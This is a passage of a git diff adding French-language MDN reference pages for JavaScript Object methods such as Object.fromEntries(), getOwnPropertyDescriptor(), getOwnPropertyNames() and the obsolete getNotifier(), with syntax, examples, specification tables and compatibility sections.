+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale.<br>
+    Implémentée avec JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.freeze")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/fromentries/index.html b/files/fr/web/javascript/reference/objets_globaux/object/fromentries/index.html
new file mode 100644
index 0000000000..0566ef1d36
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/fromentries/index.html
@@ -0,0 +1,108 @@
+---
+title: Object.fromEntries()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/fromEntries
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.fromEntries()</strong></code> permet de transformer une liste de paires de clés/valeurs en un objet.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-fromentries.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.fromEntries(<var>iterable</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Un itérable tel qu'un tableau ({{jsxref("Array")}}) ou une {{jsxref("Map")}} ou tout autre objet qui implémente <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérable_»">le protocole itérable</a>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet dont les propriétés sont fournies par les éléments de l'itérable.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Object.fromEntries()</code> prend comme argument une liste de paires de clés-valeurs et renvoie un nouvel objet dont les propriétés sont fournies par ces clés-valeurs. L'argument <code>iterable</code> doit implémenter une méthode <code>@@iterator</code> qui renvoie un itérateur produisant un objet semblable à un tableau avec deux éléments ; le premier élément est une valeur qui sera utilisée comme clé de la propriété et le second élément sera utilisé comme valeur associée à cette clé.</p>
+
+<p><code>Object.fromEntries()</code> est la fonction inverse de {{jsxref("Object.entries()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Convertir_une_Map_en_un_Object">Convertir une <code>Map</code> en un <code>Object</code></h3>
+
+<p>Grâce à <code>Object.fromEntries</code>, on peut convertir des objets {{jsxref("Map")}} en {{jsxref("Object")}} :</p>
+
+<pre class="brush: js">const map = new Map([ ['toto', 'truc'], ['machin', 42] ]);
+const obj = Object.fromEntries(map);
+console.log(obj); // { toto: "truc", machin: 42 }
+</pre>
+
+<h3 id="Convertir_un_Array_en_un_Object">Convertir un <code>Array</code> en un <code>Object</code></h3>
+
+<p>Grâce à <code>Object.fromEntries</code>, on peut convertir des objets {{jsxref("Array")}} en {{jsxref("Object")}} :</p>
+
+<pre class="brush: js">const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ];
+const obj = Object.fromEntries(arr);
+console.log(obj); // { 0: "a", 1: "b", 2: "c" }
+</pre>
+
+<h3 id="Transformer_des_objets">Transformer des objets</h3>
+
+<p>Avec <code>Object.fromEntries</code> et la méthode réciproque {{jsxref("Object.entries()")}}, et <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array#Méthodes">les méthodes de manipulation de tableaux</a>, on peut transformer des objets :</p>
+
+<pre class="brush: js">const object1 = { a: 1, b: 2, c: 3 };
+
+const object2 = Object.fromEntries(
+  Object.entries(object1)
+  .map(([ key, val ]) =&gt; [ key, val * 2 ])
+);
+
+console.log(object2);
+// { a: 2, b: 4, c: 6 }</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.fromentries', 'Object.fromEntries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2019.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.fromEntries")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.entries()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.values()")}}</li>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getnotifier/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getnotifier/index.html
new file mode 100644
index 0000000000..ab7f2e2779
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/getnotifier/index.html
@@ -0,0 +1,53 @@
+---
+title: Object.getNotifier()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/getNotifier
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Obsolete
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.getNotifier
+---
+<div>{{JSRef}}{{obsolete_header}}</div>
+
+<p>La méthode <strong><code>Object.getNotifer()</code></strong> est utilisée pour créer un objet qui permet de déclencher des changements (tels que perçus par <code>Object.observe</code><code>()</code>) de façon synthétique. Cette API a été dépréciée et retirée des navigateurs.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.getNotifier(<em>obj</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite récupérer le notificateur (<em>notifier</em>) associé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet de notification associé à l'objet passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Le notificateur est utilisé pour déclencher des changements qui pourront être observés avec <code>Object.observe()</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Proposition de spécification</a>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.getNotifier")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.observe()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Object.unobserve()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{obsolete_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptor/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..5186c3b2b6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptor/index.html
@@ -0,0 +1,149 @@
+---
+title: Object.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyDescriptor
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.getOwnPropertyDescriptor()</strong></code> renvoie un descripteur de la propriété propre d'un objet (c'est-à-dire une propriété directement présente et pas héritée via la chaîne de prototypes).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-getownpropertydescriptor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.getOwnPropertyDescriptor(<var>obj</var>, <var>prop</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet sur lequel on cherche la propriété.</dd>
+ <dt><code>prop</code></dt>
+ <dd>Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété dont on souhaite avoir la description.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un descripteur de propriété de la propriété souhaitée si elle existe pour l'objet en question, sinon {{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode permet d'avoir des informations précises sur une propriété. Une propriété JavaScript est un nom (qui est une chaîne de caractères) ou un symbole ({{jsxref("Symbol")}}) associé à un descripteur. Voir la page {{jsxref("Object.defineProperty")}} pour plus d'informations sur les descripteurs de propriétés.</p>
+
+<p>Un descripteur de propriété est un enregistrement qui dispose des attributs suivants :</p>
+
+<dl>
+ <dt><code><strong>value</strong></code></dt>
+ <dd>La valeur associée à la propriété (pour les descripteurs de données uniquement).</dd>
+ <dt><code><strong>writable</strong></code></dt>
+ <dd><code>true</code> si et seulement si la valeur associée à la propriété peut être changée (pour les descripteurs de données uniquement).</dd>
+ <dt><code><strong>get</strong></code></dt>
+ <dd>Une fonction qui joue le rôle d'accesseur (<em>getter</em>) pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas d'accesseur (pour les descripteurs d'accesseurs uniquement).</dd>
+ <dt><code><strong>set</strong></code></dt>
+ <dd>Une fonction qui joue le rôle de mutateur (<em>setter</em>) pour la propriété ou <code>undefined</code> s'il n'y a pas de tel mutateur (pour les descripteurs d'accesseurs uniquement).</dd>
+ <dt><code><strong>configurable</strong></code></dt>
+ <dd><code>true</code> si et seulement si le type du descripteur peut être changé et si la propriété peut être supprimée de l'objet.</dd>
+ <dt><code><strong>enumerable</strong></code></dt>
+ <dd><code>true</code> si et seulement si la propriété doit apparaître lors d'une énumération des propriétés de l'objet.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var o, d;
+
+o = { get toto() { return 17; } };
+d = Object.getOwnPropertyDescriptor(o, "toto");
+// d : {
+//       configurable: true,
+//       enumerable: true,
+//       get: /*l'accesseur*/,
+//       set: undefined
+//    }
+
+o = { truc: 42 };
+d = Object.getOwnPropertyDescriptor(o, "truc");
+// d : {
+//        configurable: true,
+//        enumerable: true,
+//        value: 42,
+//        writable: true
+//      }
+
+o = {};
+Object.defineProperty(o, "machin", {
+                                      value: 8675309,
+                                      writable: false,
+                                      enumerable: false });
+d = Object.getOwnPropertyDescriptor(o, "machin");
+// d : {
+//        value: 8675309,
+//        writable: false,
+//        enumerable: false,
+//        configurable: false
+//      }</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour ES5, si le premier argument de la méthode n'est pas un objet (mais une valeur d'un autre type), une exception {{jsxref("TypeError")}} sera levée. Pour ES2015, un argument non-objet sera d'abord converti en objet avant d'appliquer la méthode.</p>
+
+<pre class="brush: js">Object.getOwnPropertyDescriptor("toto", 0);
+// TypeError: "toto" n'est pas un objet  // code ES5
+
+// code ES2015
+Object.getOwnPropertyDescriptor("toto", 0);
+// {
+//    configurable:false,
+//    enumerable:true,
+//    value:"f",
+//    writable:false
+// }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale.<br>
+    Implémentée avec JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.getOwnPropertyDescriptor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptors/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptors/index.html
new file mode 100644
index 0000000000..718833d4c4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptors/index.html
@@ -0,0 +1,120 @@
+---
+title: Object.getOwnPropertyDescriptors()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyDescriptors
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.getOwnPropertyDescriptors()</strong></code> renvoie l'ensemble des descripteurs des propriétés propres d'un objet donné.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-getownpropertydescriptors.html")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.getOwnPropertyDescriptors(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite connaître les descripteurs des propriétés.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet qui contient tous les descripteurs des propriétés propres de l'objet passé en paramètre. S'il n'y aucune propriété, cela sera un objet vide.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode permet d'examiner de façon précise les différentes propriétés directement rattachées à un objet. Une propriété JavaScript se définit par un nom (une chaîne de caractères) ou un symbole ({{jsxref("Symbol")}}) et un descripteur. Vous pouvez trouver de plus amples informations sur les types de descripteurs et sur leurs attributs sur la page de {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>Un descripteur de propriété est un enregistrement qui possède les attributs suivants :</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>La valeur associée à la propriété (uniquement pour les descripteurs de données).</dd>
+ <dt><code><strong>writable</strong></code></dt>
+ <dd><code>true</code> si et seulement si la valeur associée à la propriété peut être changée (uniquement pour les descripteurs de données).</dd>
+ <dt><code>get</code></dt>
+ <dd>Une fonction qui est utilisée comme accesseur pour la propriété ou {{jsxref("undefined")}} s'il n'existe pas de tel accesseur (uniquement pour les descripteurs d'accesseur/mutateur).</dd>
+ <dt><code>set</code></dt>
+ <dd>Une fonction qui est utilisée comme mutateur pour la propriété ou {{jsxref("undefined")}} s'il n'existe pas de tel mutateur (uniquement pour les descripteurs d'accesseur/mutateur).</dd>
+ <dt><code>configurable</code></dt>
+ <dd><code>true</code> si et seulement si le type de descripteur peut être changé et si la propriété peut être supprimée de l'objet correspondant.</dd>
+ <dt><code>enumerable</code></dt>
+ <dd><code>true</code> si et seulement si cette propriété est listée lorsqu'on énumère les propriétés de l'objet correspondant.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Créer_un_clone">Créer un clone</h3>
+
+<p>La méthode {{jsxref("Object.assign()")}} ne copiera que les propriétés propres et énumérables d'un objet source vers un objet cible. On peut donc utiliser cette méthode avec {{jsxref("Object.create()")}} afin de réaliser une copie « plate » entre deux objets inconnus :</p>
+
+<pre class="brush: js">Object.create(
+  Object.getPrototypeOf(obj),
+  Object.getOwnPropertyDescriptors(obj)
+);
+</pre>
+
+<h3 id="Créer_une_sous-classe">Créer une sous-classe</h3>
+
+<p>Pour créer une sous-classe, généralement, on définit la sous-classe et on définit son prototype comme étant une instance de la classe parente. Enfin on définit les propriétés de cette nouvelle sous-classe.</p>
+
+<pre class="brush: js">function superclass() {};
+superclass.prototype = {
+  // on définit les méthodes et propriétés
+  // de la classe parente
+};
+
+function subclass() {};
+subclass.prototype = Object.create(
+  superclass.prototype,
+  Object.getOwnPropertyDescriptors({
+  // on définit les méthodes et propriétés
+  // de la sous-classe
+}));
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.getOwnPropertyDescriptors")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li><a href="https://github.com/tc39/proposal-object-getownpropertydescriptors">Prothèse d'émulation (<em>polyfill</em>)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertynames/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertynames/index.html
new file mode 100644
index 0000000000..499f274e68
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertynames/index.html
@@ -0,0 +1,180 @@
+---
+title: Object.getOwnPropertyNames()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyNames
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.getOwnPropertyNames()</strong></code> renvoie un tableau de toutes les propriétés (qu'elles soient énumérables ou non, tant qu'elles ne sont pas désignées par un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Symbol">symbole</a>) propres à un objet (c'est-à-dire n'étant pas héritées via la chaîne de prototypes).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-getownpropertynames.html")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.getOwnPropertyNames(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont seront listées les propriétés propres énumérables <em>et non-énumérables</em>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau de chaînes de caractères qui sont les noms des propriétés propres (celles directement rattachées à l'objet) de l'objet passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.getOwnPropertyNames</code> renvoie un tableau dont les éléments sont des chaînes de caractères correspondant aux noms des propriétés énumerables <em>et non-énumerables</em> appartenant directement à l'objet <code>obj</code>. L'ordre des propriétés énumérables est cohérent avec l'ordre utilisé dans une boucle {{jsxref("Instructions/for...in","for...in")}} (ou avec {{jsxref("Object.keys")}}) parmi les propriétés de l'objet. L'ordre des propriétés non-énumérables dans le tableau et parmi les propriétés énumérables n'est pas défini.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Object.getOwnPropertyNames()">Utiliser <code>Object.getOwnPropertyNames()</code></h3>
+
+<pre class="brush: js">var arr = ["a", "b", "c"];
+console.log(Object.getOwnPropertyNames(arr).sort());
+// ["0", "1", "2", "length"]
+
+// Objet semblable à un tableau (array-like)
+var obj = { 0: "a", 1: "b", 2: "c"};
+console.log(Object.getOwnPropertyNames(obj).sort());
+// ["0", "1", "2"]
+
+
+// On affiche les noms et les valeurs
+// des propriétés avec Array.forEach
+Object.getOwnPropertyNames(obj).forEach(
+  function(val, idx, array) {
+    console.log(val + " -&gt; " + obj[val]);
+});
+// affiche
+// 0 -&gt; a
+// 1 -&gt; b
+// 2 -&gt; c
+
+// propriété non-énumérable
+var mon_obj = Object.create({}, {
+  getToto: {
+    value: function() { return this.toto; },
+    enumerable: false
+  }
+});
+mon_obj.toto = 1;
+
+console.log(Object.getOwnPropertyNames(mon_obj).sort());
+// ["toto", "getToto"]
+</pre>
+
+<p>Si on souhaite n'avoir que les propriétés énumérables, on peut utiliser {{jsxref("Object.keys")}} ou bien une boucle {{jsxref("Instructions/for...in","for...in")}} (cette méthode renverra également les propriétés héritées via la chaîne de prototypes si on ne filtre pas avec la méthode {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}}).</p>
+
+<p>Les propriétés héritées via la chaîne de prototype ne sont pas listées :</p>
+
+<pre class="brush: js">function ClasseParente() {}
+ClasseParente.prototype.inheritedMethod = function () {};
+
+function ClasseFille () {
+  this.prop = 5;
+  this.method = function () {};
+}
+ClasseFille.prototype = new ClasseParente();
+ClasseFille.prototype.prototypeMethod = function () {};
+
+console.log(
+  Object.getOwnPropertyNames(
+    new ClasseFille() // ["prop", "method"]
+  )
+)
+</pre>
+
+<h3 id="Obtenir_uniquement_les_propriétés_non-énumérables">Obtenir uniquement les propriétés non-énumérables</h3>
+
+<p>On utilise ici la fonction {{jsxref("Array.prototype.filter()")}} pour retirer les clés énumérables (obtenus avec {{jsxref("Object.keys()")}}) de la liste de toutes les clés (obtenues avec <code>Object.getOwnPropertynames</code>) afin de n'avoir que les propriétés propres non-énumérables.</p>
+
+<pre class="brush: js">var target = myObject;
+var enum_et_nonenum = Object.getOwnPropertyNames(target);
+var enum_uniquement = Object.keys(target);
+var nonenum_uniquement = enum_et_nonenum.filter(function(key) {
+  var indexInEnum = enum_uniquement.indexOf(key)
+  if (indexInEnum == -1) {
+    // non trouvée dans enum_uniquement indique
+    // que la clé est non-énumérable, on la
+    // garde donc dans le filtre avec true
+    return true;
+  } else {
+    return false;
+  }
+});
+
+console.log(nonenum_uniquement);
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour ES5, si l'argument passé à la méthode n'est pas un objet (mais une valeur d'un autre type primitif), une exception {{jsxref("TypeError")}} sera levée. Pour ES2015, un argument qui n'est pas un objet sera d'abord transformé en objet avant que la méthode soit appliquée.</p>
+
+<pre class="brush: js">Object.getOwnPropertyNames('toto')
+TypeError: "toto" n'est pas un objet // code ES5
+
+Object.getOwnPropertyNames('toto')
+['length', '0', '1', '2']         // code ES2015</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.4', 'Object.getOwnPropertyNames')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale.<br>
+    Implémentée avec JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.getOwnPropertyNames")}}</p>
+</div>
+
+<h2 id="Notes_spécifiques_à_Firefox">Notes spécifiques à Firefox</h2>
+
+<p>Pour les versions antérieures à Firefox 28 {{geckoRelease("28")}}, <code>Object.getOwnPropertyNames</code> ne listait pas les propriétés non-résolues des objets {{jsxref("Error")}}. Cela a été résolu dans les versions suivantes ({{bug("724768")}}).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Caract%C3%A8re_%C3%A9num%C3%A9rable_des_propri%C3%A9t%C3%A9s_et_rattachement">Énumérabilité et possession des propriétés</a></li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Array.forEach()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertysymbols/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertysymbols/index.html
new file mode 100644
index 0000000000..c296fef13f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertysymbols/index.html
@@ -0,0 +1,92 @@
+---
+title: Object.getOwnPropertySymbols()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.getOwnPropertySymbols()</strong></code> renvoie un tableau contenant tous les symboles des propriétés trouvées directement sur un objet donné.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-getownpropertysymbols.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.getOwnPropertySymbols(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite lister les symboles des propriétés propres.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau des symboles trouvés directement sur l'objet passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
